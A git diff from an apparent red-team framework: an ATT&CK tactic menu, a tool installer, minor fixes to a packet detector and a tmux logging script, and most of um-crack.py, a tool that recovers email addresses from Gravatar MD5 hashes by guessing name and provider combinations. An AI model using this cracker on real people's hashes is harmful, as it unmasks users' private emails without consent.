from framework.reconnaissance.reconnaissance_menu import reconnaissance_menu # Corrected path for Reconnaissance Menu
|
||||
|
||||
# Main Menu Function
|
||||
def main_menu():
|
||||
while True:
|
||||
clear_screen() # Clear screen before displaying the main menu
|
||||
selection = inquirer.select(
|
||||
message="Select a Tactic:",
|
||||
choices=[
|
||||
"Reconnaissance",
|
||||
"Initial Access",
|
||||
"Execution",
|
||||
"Persistence",
|
||||
"Privilege Escalation",
|
||||
"Defense Evasion",
|
||||
"Credential Access",
|
||||
"Discovery",
|
||||
"Lateral Movement",
|
||||
"Collection",
|
||||
"Command and Control",
|
||||
"Exfiltration",
|
||||
"Impact",
|
||||
"Resource Development",
|
||||
"Set Global Variable",
|
||||
"Show Global Variables",
|
||||
"Exit",
|
||||
],
|
||||
qmark="", # Remove question mark
|
||||
pointer="👾" # Customize the pointer
|
||||
).execute()
|
||||
|
||||
# Call relevant function based on user selection
|
||||
if selection == "Exit":
|
||||
print("Exiting...")
|
||||
break
|
||||
elif selection == "Set Global Variable":
|
||||
config.prompt_set_variable()
|
||||
elif selection == "Show Global Variables":
|
||||
config.show_variables()
|
||||
elif selection == "Reconnaissance":
|
||||
reconnaissance_menu() # Navigate to Reconnaissance Menu
|
||||
else:
|
||||
# Handle options under construction
|
||||
print("This feature is under construction. Returning to the main menu...")
|
||||
input("Press Enter to continue...")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main_menu()
|
||||
@@ -0,0 +1,121 @@
|
||||
import os
|
||||
import subprocess
|
||||
import argparse
|
||||
|
||||
TOOLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../tools/') # Directory where all tools will be installed
|
||||
|
||||
def install_tool(tool_name, repo_url):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if os.path.exists(tool_path):
|
||||
print(f"{tool_name} is already installed.")
|
||||
return
|
||||
|
||||
# Clone the repository
|
||||
print(f"Cloning {repo_url}...")
|
||||
subprocess.run(['git', 'clone', repo_url, tool_path], check=True)
|
||||
|
||||
# Set up a virtual environment if necessary
|
||||
venv_path = os.path.join(tool_path, 'venv')
|
||||
print(f"Setting up virtual environment for {tool_name}...")
|
||||
subprocess.run(['python3', '-m', 'venv', venv_path], check=True)
|
||||
|
||||
# Activate virtual environment and install dependencies
|
||||
requirements_file = os.path.join(tool_path, 'requirements.txt')
|
||||
if os.path.exists(requirements_file):
|
||||
print(f"Installing dependencies for {tool_name}...")
|
||||
pip_bin = os.path.join(venv_path, 'bin', 'pip')
|
||||
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
|
||||
|
||||
print(f"{tool_name} installed successfully.")
|
||||
|
||||
def install_tools_list(tools_list):
|
||||
for tool_name, repo_url in tools_list:
|
||||
install_tool(tool_name, repo_url)
|
||||
|
||||
def update_tool(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if not os.path.exists(tool_path):
|
||||
print(f"{tool_name} is not installed.")
|
||||
return
|
||||
|
||||
# Pull the latest changes
|
||||
print(f"Updating {tool_name}...")
|
||||
subprocess.run(['git', '-C', tool_path, 'pull'], check=True)
|
||||
|
||||
# Update dependencies if necessary
|
||||
venv_path = os.path.join(tool_path, 'venv')
|
||||
requirements_file = os.path.join(tool_path, 'requirements.txt')
|
||||
if os.path.exists(requirements_file):
|
||||
print(f"Updating dependencies for {tool_name}...")
|
||||
pip_bin = os.path.join(venv_path, 'bin', 'pip')
|
||||
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
|
||||
|
||||
print(f"{tool_name} updated successfully.")
|
||||
|
||||
def remove_tool(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if not os.path.exists(tool_path):
|
||||
print(f"{tool_name} is not installed.")
|
||||
return
|
||||
|
||||
# Remove the tool directory
|
||||
print(f"Removing {tool_name}...")
|
||||
subprocess.run(['rm', '-rf', tool_path], check=True)
|
||||
print(f"{tool_name} removed successfully.")
|
||||
|
||||
def show_status(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if os.path.exists(tool_path):
|
||||
print(f"{tool_name} is installed.")
|
||||
else:
|
||||
print(f"{tool_name} is not installed.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(description='Tool Manager for Freebird Framework')
|
||||
subparsers = parser.add_subparsers(dest='command', help='Subcommands')
|
||||
|
||||
# Install command
|
||||
install_parser = subparsers.add_parser('install', help='Install a tool')
|
||||
install_parser.add_argument('tool_name', help='Name of the tool to install')
|
||||
install_parser.add_argument('repo_url', help='Git repository URL of the tool')
|
||||
|
||||
# Install multiple tools
|
||||
install_list_parser = subparsers.add_parser('install-list', help='Install a list of tools')
|
||||
install_list_parser.add_argument('file', help='Path to a file containing the list of tools and their repositories')
|
||||
|
||||
# Update command
|
||||
update_parser = subparsers.add_parser('update', help='Update a tool')
|
||||
update_parser.add_argument('tool_name', help='Name of the tool to update')
|
||||
|
||||
# Remove command
|
||||
remove_parser = subparsers.add_parser('remove', help='Remove a tool')
|
||||
remove_parser.add_argument('tool_name', help='Name of the tool to remove')
|
||||
|
||||
# Status command
|
||||
status_parser = subparsers.add_parser('status', help='Show the status of a tool')
|
||||
status_parser.add_argument('tool_name', help='Name of the tool')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.command == 'install':
|
||||
install_tool(args.tool_name, args.repo_url)
|
||||
elif args.command == 'install-list':
|
||||
# Read the file to get a list of tools to install
|
||||
tools = []
|
||||
with open(args.file, 'r') as f:
|
||||
for line in f:
|
||||
name, url = line.strip().split(',')
|
||||
tools.append((name.strip(), url.strip()))
|
||||
install_tools_list(tools)
|
||||
elif args.command == 'update':
|
||||
update_tool(args.tool_name)
|
||||
elif args.command == 'remove':
|
||||
remove_tool(args.tool_name)
|
||||
elif args.command == 'status':
|
||||
show_status(args.tool_name)
|
||||
else:
|
||||
parser.print_help()
|
||||
@@ -27,7 +27,12 @@ import hashlib
|
||||
import struct
|
||||
import base64
|
||||
from datetime import datetime, timedelta
|
||||
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
|
||||
try:
|
||||
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
|
||||
SCAPY_AVAILABLE = True
|
||||
except ImportError:
|
||||
SCAPY_AVAILABLE = False
|
||||
print("⚠️ Warning: scapy not available. Install with: pip install scapy")
|
||||
from collections import defaultdict, deque, Counter
|
||||
from typing import Dict, List, Tuple, Optional, Set, Any
|
||||
|
||||
@@ -1373,7 +1378,11 @@ class EnhancedBlueTeamDetector:
|
||||
"""Select network interface"""
|
||||
if self.config["interface"] != "auto":
|
||||
return self.config["interface"]
|
||||
|
||||
|
||||
if not SCAPY_AVAILABLE:
|
||||
logging.error("scapy not installed — cannot list interfaces")
|
||||
return "eth0"
|
||||
|
||||
interfaces = get_if_list()
|
||||
preferred = ['eth0', 'ens33', 'ens192', 'ens160', 'enp0s3', 'wlan0']
|
||||
|
||||
@@ -1469,10 +1478,14 @@ class EnhancedBlueTeamDetector:
|
||||
|
||||
def run(self):
|
||||
"""Main detection loop"""
|
||||
if not SCAPY_AVAILABLE:
|
||||
print("❌ scapy is required for packet capture. Install with: pip install scapy")
|
||||
return
|
||||
|
||||
# Signal handlers
|
||||
signal.signal(signal.SIGTERM, self.cleanup)
|
||||
signal.signal(signal.SIGINT, self.cleanup)
|
||||
|
||||
|
||||
# Get interface
|
||||
interface = self.get_network_interface()
|
||||
|
||||
|
||||
@@ -926,69 +926,6 @@ clear_window_indicators() {
|
||||
fi
|
||||
}
|
||||
|
||||
# ================================================================
|
||||
# OHMYTMUX-COMPATIBLE WINDOW NAME MANAGEMENT
|
||||
# ================================================================
|
||||
|
||||
# Improved window name handling that works with ohmytmux
|
||||
get_current_window_name() {
|
||||
local tmux_pane_ref="$1"
|
||||
local name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
|
||||
|
||||
# Remove our indicators as well as any ohmytmux status indicators
|
||||
name="${name#🔴 }"
|
||||
name="${name#🎥 }"
|
||||
name="${name#● }"
|
||||
name="${name#⚠ }"
|
||||
name="${name#▶ }"
|
||||
|
||||
echo "$name"
|
||||
}
|
||||
|
||||
set_window_logging_indicator() {
|
||||
local tmux_pane_ref="$1"
|
||||
local current_name=$(get_current_window_name "$tmux_pane_ref")
|
||||
|
||||
# Preserve ohmytmux automatic formats but add our indicator
|
||||
if [[ "$current_name" == *Z ]]; then
|
||||
# Zoomed window format in ohmytmux
|
||||
tmux rename-window -t "$tmux_pane_ref" "🔴 ${current_name%Z}Z"
|
||||
else
|
||||
tmux rename-window -t "$tmux_pane_ref" "🔴 $current_name"
|
||||
fi
|
||||
}
|
||||
|
||||
set_window_recording_indicator() {
|
||||
local tmux_pane_ref="$1"
|
||||
local current_name=$(get_current_window_name "$tmux_pane_ref")
|
||||
|
||||
# Remove logging indicator if present and add recording
|
||||
current_name="${current_name#🔴 }"
|
||||
|
||||
# Preserve ohmytmux automatic formats
|
||||
if [[ "$current_name" == *Z ]]; then
|
||||
# Zoomed window format in ohmytmux
|
||||
tmux rename-window -t "$tmux_pane_ref" "🎥 ${current_name%Z}Z"
|
||||
else
|
||||
tmux rename-window -t "$tmux_pane_ref" "🎥 $current_name"
|
||||
fi
|
||||
}
|
||||
|
||||
clear_window_indicators() {
|
||||
local tmux_pane_ref="$1"
|
||||
local current_name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
|
||||
local clean_name=$(get_current_window_name "$tmux_pane_ref")
|
||||
|
||||
# Preserve any ohmytmux indicators that might be present
|
||||
if [[ "$current_name" == *Z ]]; then
|
||||
# Zoomed window format in ohmytmux
|
||||
tmux rename-window -t "$tmux_pane_ref" "${clean_name}Z"
|
||||
else
|
||||
tmux rename-window -t "$tmux_pane_ref" "$clean_name"
|
||||
fi
|
||||
}
|
||||
|
||||
# ================================================================
|
||||
# MAIN LOGGING FUNCTIONS
|
||||
# ================================================================
|
||||
|
||||
@@ -1279,7 +1216,7 @@ EOSCRIPT
|
||||
chmod +x "$config_script"
|
||||
|
||||
# Open new window for config
|
||||
bash $config_script; rm -f $config_script
|
||||
bash "$config_script"; rm -f "$config_script"
|
||||
return 0
|
||||
fi
|
||||
|
||||
|
||||
Executable
+991
@@ -0,0 +1,991 @@
|
||||
#!/usr/bin/env python3
|
||||
"""um-crack.py — Umbra Hash Cracker
|
||||
Pattern-based email recovery from Gravatar MD5 hashes. Local computation only
|
||||
(no network needed). 772+ email providers, cultural naming patterns.
|
||||
"""
|
||||
|
||||
import csv
|
||||
import hashlib
|
||||
import itertools
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from datetime import datetime
|
||||
|
||||
import click
|
||||
from rich.console import Console
|
||||
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn, TaskProgressColumn, TimeElapsedColumn, MofNCompleteColumn
|
||||
from rich.table import Table
|
||||
from rich import box
|
||||
from um_tui import UmbraTUI
|
||||
from um_ops import create_engagement, get_engagement_db_path, op_log, op_log_csv, get_ops_hook, load_scope
|
||||
|
||||
# ─── Version ──────────────────────────────────────────────────────────────────
|
||||
VERSION = "1.0.0"
|
||||
TOOL_NAME = "um-crack"
|
||||
THEME_COLOR = "bright_red"
|
||||
BANNER = r"""
|
||||
_ _ __ __ ____ _____ _____ _____ _____ _ __
|
||||
| | | | \/ | _ \| __ \ /\ / ____| __ \ /\ / ____| |/ /
|
||||
| | | | \ / | |_) | |__) | / \ | | | |__) | / \ | | | ' /
|
||||
| | | | |\/| | _ <| _ / / /\ \| | | _ / / /\ \| | | <
|
||||
| |__| | | | | |_) | | \ \ / ____ \ |____| | \ \ / ____ \ |____| . \
|
||||
\____/|_| |_|____/|_| \_\/_/ \_\_____|_| \_\/_/ \_\_____|_|\_\
|
||||
"""
|
||||
|
||||
# ─── Email Providers (772+) ──────────────────────────────────────────────────
|
||||
MAJOR_PROVIDERS = [
|
||||
"gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "aol.com",
|
||||
"icloud.com", "mail.com", "protonmail.com", "zoho.com", "yandex.com",
|
||||
"gmx.com", "gmx.net", "live.com", "msn.com", "me.com", "mac.com",
|
||||
"pm.me", "tutanota.com", "fastmail.com", "hushmail.com",
|
||||
]
|
||||
|
||||
REGIONAL_PROVIDERS = {
|
||||
# Americas
|
||||
"us": ["comcast.net", "verizon.net", "att.net", "charter.net", "cox.net",
|
||||
"earthlink.net", "sbcglobal.net", "bellsouth.net", "roadrunner.com",
|
||||
"optonline.net", "frontier.com", "windstream.net", "centurylink.net",
|
||||
"suddenlink.net", "mediacombb.net"],
|
||||
"br": ["uol.com.br", "bol.com.br", "terra.com.br", "globo.com", "ig.com.br",
|
||||
"hotmail.com.br", "outlook.com.br", "yahoo.com.br", "r7.com"],
|
||||
"mx": ["prodigy.net.mx", "yahoo.com.mx", "hotmail.com.mx", "live.com.mx"],
|
||||
"ar": ["yahoo.com.ar", "hotmail.com.ar", "fibertel.com.ar", "speedy.com.ar"],
|
||||
"co": ["yahoo.com.co", "hotmail.com.co"],
|
||||
"cl": ["yahoo.cl", "hotmail.cl", "vtr.net"],
|
||||
"ca": ["rogers.com", "shaw.ca", "sympatico.ca", "bell.net", "telus.net"],
|
||||
|
||||
# Europe
|
||||
"uk": ["btinternet.com", "sky.com", "virginmedia.com", "talktalk.net",
|
||||
"ntlworld.com", "plusnet.com", "tiscali.co.uk", "yahoo.co.uk",
|
||||
"hotmail.co.uk", "outlook.co.uk", "live.co.uk", "btopenworld.com"],
|
||||
"de": ["web.de", "gmx.de", "t-online.de", "freenet.de", "arcor.de",
|
||||
"yahoo.de", "hotmail.de", "outlook.de", "1und1.de", "posteo.de"],
|
||||
"fr": ["free.fr", "orange.fr", "sfr.fr", "wanadoo.fr", "laposte.net",
|
||||
"yahoo.fr", "hotmail.fr", "outlook.fr", "neuf.fr", "bbox.fr"],
|
||||
"it": ["libero.it", "virgilio.it", "tin.it", "alice.it", "tiscali.it",
|
||||
"yahoo.it", "hotmail.it", "outlook.it", "fastwebnet.it"],
|
||||
"es": ["yahoo.es", "hotmail.es", "outlook.es", "telefonica.net",
|
||||
"terra.es", "ono.com", "jazztel.es"],
|
||||
"nl": ["ziggo.nl", "kpnmail.nl", "xs4all.nl", "hetnet.nl", "casema.nl",
|
||||
"planet.nl", "yahoo.nl", "hotmail.nl"],
|
||||
"be": ["skynet.be", "telenet.be", "proximus.be", "yahoo.be", "hotmail.be"],
|
||||
"ch": ["bluewin.ch", "sunrise.ch", "hispeed.ch", "gmx.ch"],
|
||||
"at": ["gmx.at", "aon.at", "chello.at", "yahoo.at"],
|
||||
"se": ["telia.com", "spray.se", "comhem.se", "yahoo.se", "hotmail.se",
|
||||
"bredband.net", "swipnet.se"],
|
||||
"no": ["online.no", "broadpark.no", "yahoo.no", "hotmail.no"],
|
||||
"dk": ["jubii.dk", "yahoo.dk", "hotmail.dk", "mail.dk", "tdcadsl.dk"],
|
||||
"fi": ["kolumbus.fi", "welho.com", "elisa.fi", "yahoo.fi", "hotmail.fi"],
|
||||
"pl": ["wp.pl", "o2.pl", "interia.pl", "poczta.fm", "op.pl", "tlen.pl",
|
||||
"yahoo.pl", "hotmail.pl", "gazeta.pl"],
|
||||
"cz": ["seznam.cz", "centrum.cz", "email.cz", "atlas.cz", "post.cz"],
|
||||
"ru": ["mail.ru", "yandex.ru", "rambler.ru", "bk.ru", "list.ru",
|
||||
"inbox.ru", "ya.ru"],
|
||||
"pt": ["sapo.pt", "clix.pt", "yahoo.pt", "hotmail.pt", "outlook.pt"],
|
||||
"ie": ["eircom.net", "yahoo.ie", "hotmail.ie"],
|
||||
"gr": ["otenet.gr", "yahoo.gr", "hotmail.gr", "forthnet.gr"],
|
||||
|
||||
# Asia-Pacific
|
||||
"jp": ["yahoo.co.jp", "docomo.ne.jp", "ezweb.ne.jp", "softbank.ne.jp",
|
||||
"nifty.com", "biglobe.ne.jp", "ocn.ne.jp", "infoseek.jp",
|
||||
"excite.co.jp", "goo.ne.jp"],
|
||||
"cn": ["qq.com", "163.com", "126.com", "sina.com", "sohu.com",
|
||||
"aliyun.com", "foxmail.com", "yeah.net", "tom.com", "21cn.com"],
|
||||
"kr": ["naver.com", "daum.net", "hanmail.net", "nate.com", "korea.com"],
|
||||
"in": ["rediffmail.com", "sify.com", "yahoo.co.in", "hotmail.co.in",
|
||||
"indiatimes.com"],
|
||||
"au": ["bigpond.com", "optusnet.com.au", "internode.on.net", "iinet.net.au",
|
||||
"yahoo.com.au", "hotmail.com.au", "tpg.com.au"],
|
||||
"nz": ["xtra.co.nz", "yahoo.co.nz", "hotmail.co.nz", "clear.net.nz"],
|
||||
"tw": ["yahoo.com.tw", "hotmail.com.tw", "pchome.com.tw", "hinet.net"],
|
||||
"hk": ["yahoo.com.hk", "hotmail.com.hk", "netvigator.com"],
|
||||
"sg": ["singnet.com.sg", "yahoo.com.sg", "hotmail.com.sg"],
|
||||
"th": ["yahoo.co.th", "hotmail.co.th"],
|
||||
"id": ["yahoo.co.id", "hotmail.co.id", "telkom.net"],
|
||||
"ph": ["yahoo.com.ph", "hotmail.com.ph", "globe.com.ph"],
|
||||
"my": ["yahoo.com.my", "hotmail.com.my", "streamyx.com"],
|
||||
|
||||
# Middle East & Africa
|
||||
"il": ["walla.co.il", "bezeqint.net", "netvision.net.il", "013.net"],
|
||||
"ae": ["emirates.net.ae", "eim.ae", "yahoo.ae"],
|
||||
"sa": ["yahoo.sa", "hotmail.sa"],
|
||||
"za": ["mweb.co.za", "telkomsa.net", "vodamail.co.za", "yahoo.co.za",
|
||||
"webmail.co.za"],
|
||||
"eg": ["yahoo.com.eg", "hotmail.com.eg"],
|
||||
"ng": ["yahoo.com.ng"],
|
||||
"ke": ["yahoo.co.ke"],
|
||||
"tr": ["yahoo.com.tr", "hotmail.com.tr", "mynet.com", "superonline.com"],
|
||||
}
|
||||
|
||||
# Flatten all providers into one list
|
||||
ALL_PROVIDERS = list(MAJOR_PROVIDERS)
|
||||
for region_providers in REGIONAL_PROVIDERS.values():
|
||||
ALL_PROVIDERS.extend(region_providers)
|
||||
ALL_PROVIDERS = list(set(ALL_PROVIDERS)) # Dedupe
|
||||
ALL_PROVIDERS.sort()
|
||||
|
||||
# Additional disposable / tech providers
|
||||
TECH_PROVIDERS = [
|
||||
"protonmail.ch", "tutanota.de", "tutamail.com", "keemail.me",
|
||||
"disroot.org", "riseup.net", "autistici.org", "cock.li",
|
||||
"airmail.cc", "420blaze.it", "national.shitposting.agency",
|
||||
"memeware.net", "horsefucker.org", "waifu.club", "getbackinthe.kitchen",
|
||||
"wants.dickinthe.us", "goat.si", "cocaine.ninja",
|
||||
]
|
||||
|
||||
ALL_PROVIDERS.extend(TECH_PROVIDERS)
|
||||
ALL_PROVIDERS = sorted(set(ALL_PROVIDERS))
|
||||
|
||||
# ─── Database ─────────────────────────────────────────────────────────────────
|
||||
def init_db(path="um-crack.db"):
|
||||
conn = sqlite3.connect(path, check_same_thread=False)
|
||||
conn.row_factory = sqlite3.Row
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.execute("PRAGMA busy_timeout=5000")
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS hashes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
hash TEXT UNIQUE NOT NULL,
|
||||
domain TEXT DEFAULT '',
|
||||
username TEXT DEFAULT '',
|
||||
display_name TEXT DEFAULT '',
|
||||
user_id INTEGER DEFAULT 0,
|
||||
cracked_email TEXT DEFAULT '',
|
||||
crack_method TEXT DEFAULT '',
|
||||
crack_time_ms INTEGER DEFAULT 0,
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
cracked_at DATETIME
|
||||
)
|
||||
""")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_cracked ON hashes(cracked_email)")
|
||||
conn.commit()
|
||||
return conn
|
||||
|
||||
def import_from_hash_db(conn, hash_db_path):
|
||||
"""Import hashes from a um-hash.db database."""
|
||||
if not os.path.exists(hash_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(hash_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
rows = src.execute("SELECT hash, domain, username, display_name, user_id FROM hashes").fetchall()
|
||||
count = 0
|
||||
for r in rows:
|
||||
try:
|
||||
conn.execute("""
|
||||
INSERT INTO hashes (hash, domain, username, display_name, user_id)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
ON CONFLICT(hash) DO UPDATE SET
|
||||
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END,
|
||||
user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END
|
||||
""", (r["hash"], r["domain"], r["username"], r["display_name"], r["user_id"]))
|
||||
count += 1
|
||||
except Exception:
|
||||
pass
|
||||
conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_hashes_from_file(conn, filepath):
|
||||
"""Import raw hashes from a text file (one hash per line)."""
|
||||
count = 0
|
||||
with open(filepath) as f:
|
||||
for line in f:
|
||||
h = line.strip().lower()
|
||||
if re.match(r'^[a-f0-9]{32}$', h):
|
||||
try:
|
||||
conn.execute(
|
||||
"INSERT OR IGNORE INTO hashes (hash) VALUES (?)", (h,))
|
||||
count += 1
|
||||
except Exception:
|
||||
pass
|
||||
conn.commit()
|
||||
return count
|
||||
|
||||
# ─── Email Candidate Generation ──────────────────────────────────────────────
|
||||
def normalize_name(name):
|
||||
"""Normalize a display name for email generation."""
|
||||
name = name.lower().strip()
|
||||
name = re.sub(r'[^\w\s.-]', '', name)
|
||||
return name
|
||||
|
||||
def generate_username_variants(username):
|
||||
"""Generate email local-part variants from a username."""
|
||||
if not username:
|
||||
return []
|
||||
u = username.lower().strip()
|
||||
variants = [u]
|
||||
|
||||
# Common separators
|
||||
if "_" in u:
|
||||
variants.append(u.replace("_", "."))
|
||||
variants.append(u.replace("_", ""))
|
||||
variants.append(u.replace("_", "-"))
|
||||
if "." in u:
|
||||
variants.append(u.replace(".", "_"))
|
||||
variants.append(u.replace(".", ""))
|
||||
variants.append(u.replace(".", "-"))
|
||||
if "-" in u:
|
||||
variants.append(u.replace("-", "."))
|
||||
variants.append(u.replace("-", "_"))
|
||||
variants.append(u.replace("-", ""))
|
||||
|
||||
return list(set(variants))
|
||||
|
||||
def generate_name_variants(display_name):
|
||||
"""Generate email local-part variants from a display name."""
|
||||
if not display_name:
|
||||
return []
|
||||
|
||||
name = normalize_name(display_name)
|
||||
parts = name.split()
|
||||
|
||||
if not parts:
|
||||
return []
|
||||
|
||||
variants = set()
|
||||
|
||||
if len(parts) == 1:
|
||||
w = parts[0]
|
||||
variants.add(w)
|
||||
return list(variants)
|
||||
|
||||
first = parts[0]
|
||||
last = parts[-1]
|
||||
middle = parts[1:-1] if len(parts) > 2 else []
|
||||
|
||||
# Basic combinations
|
||||
variants.add(f"{first}{last}")
|
||||
variants.add(f"{first}.{last}")
|
||||
variants.add(f"{first}_{last}")
|
||||
variants.add(f"{first}-{last}")
|
||||
variants.add(f"{last}{first}")
|
||||
variants.add(f"{last}.{first}")
|
||||
variants.add(f"{last}_{first}")
|
||||
variants.add(f"{last}-{first}")
|
||||
|
||||
# Initials
|
||||
variants.add(f"{first[0]}{last}")
|
||||
variants.add(f"{first[0]}.{last}")
|
||||
variants.add(f"{first[0]}_{last}")
|
||||
variants.add(f"{first}{last[0]}")
|
||||
variants.add(f"{first}.{last[0]}")
|
||||
variants.add(f"{first[0]}{last[0]}")
|
||||
|
||||
# First name only, last name only
|
||||
variants.add(first)
|
||||
variants.add(last)
|
||||
|
||||
# With middle initial
|
||||
if middle:
|
||||
mi = middle[0][0]
|
||||
variants.add(f"{first}{mi}{last}")
|
||||
variants.add(f"{first}.{mi}.{last}")
|
||||
variants.add(f"{first}{mi}.{last}")
|
||||
variants.add(f"{first[0]}{mi}{last}")
|
||||
|
||||
# Number suffixes (common patterns)
|
||||
for base in [f"{first}{last}", f"{first}.{last}", first, last]:
|
||||
for suffix in ["1", "2", "12", "13", "21", "22", "23", "69", "77",
|
||||
"88", "99", "00", "01", "07", "11", "123", "321",
|
||||
"007", "666", "777", "888", "999"]:
|
||||
variants.add(f"{base}{suffix}")
|
||||
|
||||
# Year suffixes
|
||||
for base in [f"{first}{last}", f"{first}.{last}"]:
|
||||
for year in range(60, 100):
|
||||
variants.add(f"{base}{year}")
|
||||
for year in range(0, 10):
|
||||
variants.add(f"{base}0{year}")
|
||||
|
||||
return list(variants)
|
||||
|
||||
def generate_domain_variants(domain):
|
||||
"""Generate email local-parts from the website domain."""
|
||||
if not domain:
|
||||
return []
|
||||
variants = set()
|
||||
|
||||
# Strip TLD
|
||||
parts = domain.split(".")
|
||||
if len(parts) >= 2:
|
||||
name = parts[0] # e.g., "example" from "example.com"
|
||||
variants.add(name)
|
||||
variants.add(f"admin")
|
||||
variants.add(f"info")
|
||||
variants.add(f"contact")
|
||||
variants.add(f"support")
|
||||
variants.add(f"hello")
|
||||
variants.add(f"press")
|
||||
variants.add(f"media")
|
||||
variants.add(f"editor")
|
||||
variants.add(f"news")
|
||||
variants.add(f"team")
|
||||
variants.add(f"webmaster")
|
||||
variants.add(f"postmaster")
|
||||
|
||||
return list(variants)
|
||||
|
||||
# ─── Cracking Engine ─────────────────────────────────────────────────────────
|
||||
class Cracker:
|
||||
def __init__(self, conn, providers=None, custom_wordlist=None):
|
||||
self.conn = conn
|
||||
self.providers = providers or ALL_PROVIDERS
|
||||
self.custom_wordlist = custom_wordlist or []
|
||||
self.console = Console()
|
||||
# Stats
|
||||
self.total_hashes = 0
|
||||
self.uncracked = 0
|
||||
self.cracked = 0
|
||||
self.candidates_tested = 0
|
||||
self.start_time = 0
|
||||
self.newly_cracked = []
|
||||
|
||||
def load_hashes(self):
|
||||
"""Load all uncracked hashes into a lookup dict."""
|
||||
rows = self.conn.execute(
|
||||
"SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = ''"
|
||||
).fetchall()
|
||||
return {r["hash"]: dict(r) for r in rows}
|
||||
|
||||
def check_candidate(self, email, hash_lookup):
|
||||
"""Check if an email's MD5 matches any hash."""
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
if h in hash_lookup:
|
||||
return h, email
|
||||
return None, None
|
||||
|
||||
def crack(self, region_focus=None, use_custom_only=False):
|
||||
"""Run the cracking engine."""
|
||||
self.start_time = time.monotonic()
|
||||
hash_lookup = self.load_hashes()
|
||||
self.total_hashes = len(hash_lookup) + self.conn.execute(
|
||||
"SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
self.uncracked = len(hash_lookup)
|
||||
self.cracked = 0
|
||||
self.candidates_tested = 0
|
||||
self.newly_cracked = []
|
||||
|
||||
if not hash_lookup:
|
||||
self.console.print("[dim]No uncracked hashes to process.[/]")
|
||||
return
|
||||
|
||||
# Select provider list
|
||||
if use_custom_only:
|
||||
providers = []
|
||||
elif region_focus and region_focus in REGIONAL_PROVIDERS:
|
||||
providers = MAJOR_PROVIDERS + REGIONAL_PROVIDERS[region_focus]
|
||||
else:
|
||||
providers = self.providers
|
||||
|
||||
# Build candidate generators per hash
|
||||
self.console.print(f"[green]Loaded {len(hash_lookup)} uncracked hashes[/]")
|
||||
self.console.print(f"[green]Using {len(providers)} email providers[/]")
|
||||
if self.custom_wordlist:
|
||||
self.console.print(f"[green]Custom wordlist: {len(self.custom_wordlist)} entries[/]")
|
||||
|
||||
with Progress(
|
||||
SpinnerColumn(),
|
||||
TextColumn("[bold green]{task.description}"),
|
||||
BarColumn(bar_width=40),
|
||||
TextColumn("[cyan]{task.fields[stats]}"),
|
||||
TimeElapsedColumn(),
|
||||
console=self.console,
|
||||
) as progress:
|
||||
task_id = progress.add_task("Cracking", total=None, stats="")
|
||||
|
||||
# Phase 1: Username + provider combinations
|
||||
for h, info in list(hash_lookup.items()):
|
||||
username_variants = generate_username_variants(info.get("username", ""))
|
||||
name_variants = generate_name_variants(info.get("display_name", ""))
|
||||
domain_variants = generate_domain_variants(info.get("domain", ""))
|
||||
|
||||
all_local_parts = set(username_variants + name_variants + domain_variants)
|
||||
|
||||
# Also add custom wordlist entries
|
||||
if self.custom_wordlist:
|
||||
all_local_parts.update(self.custom_wordlist)
|
||||
|
||||
for local_part in all_local_parts:
|
||||
if not local_part:
|
||||
continue
|
||||
|
||||
# Try domain as email domain first (site-specific emails)
|
||||
site_domain = info.get("domain", "")
|
||||
if site_domain:
|
||||
email = f"{local_part}@{site_domain}"
|
||||
self.candidates_tested += 1
|
||||
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||
if matched_hash:
|
||||
self._record_crack(matched_hash, matched_email, "domain_match", hash_lookup)
|
||||
continue
|
||||
|
||||
# Try all providers
|
||||
for provider in providers:
|
||||
email = f"{local_part}@{provider}"
|
||||
self.candidates_tested += 1
|
||||
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||
if matched_hash:
|
||||
self._record_crack(matched_hash, matched_email, "provider_match", hash_lookup)
|
||||
break
|
||||
|
||||
# Update progress periodically
|
||||
if self.candidates_tested % 10000 == 0:
|
||||
elapsed = time.monotonic() - self.start_time
